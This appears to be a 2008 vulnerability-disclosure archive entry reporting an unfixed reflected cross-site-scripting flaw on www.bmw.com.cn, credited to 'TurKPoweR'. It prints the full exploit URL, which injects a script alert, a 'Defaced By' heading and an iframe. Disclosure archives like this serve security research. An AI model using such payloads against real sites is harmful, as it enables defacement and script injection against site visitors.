Security researcher TurKPoweR, has submitted on 14/07/2008 a cross-site-scripting (XSS) vulnerability affecting www.bmw.com.cn, which at the time of submission ranked 52644 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 07/11/2008. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 14/07/2008 |
Date published: 07/11/2008 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: TurKPoweR |
Domain: www.bmw.com.cn |
Category: XSS |
Pagerank: 52644 |
|---|
URL: http://www.bmw.com.cn/cms/zh/insights/bmw_videos/_video_frame_pool/full_screen_video.jsp?video_url=%
2Fzh%2Finsights%2Fbmw_videos%2F_video_frame_pool%2F_video_pool%2Ftwinkle_fullscreen%2Eswf&pic_url=<S
cRiPt%20%0a%0d>alert(/HACKED%20By%20TurKPoweR/)%3B</ScRiPt><h1>Defaced%20By%20TurKPoweR</h1>='%22%3E
%3Ciframe%20src=http://xssed.com%3E |
|
Click here to view the mirror
|
|
|
| 
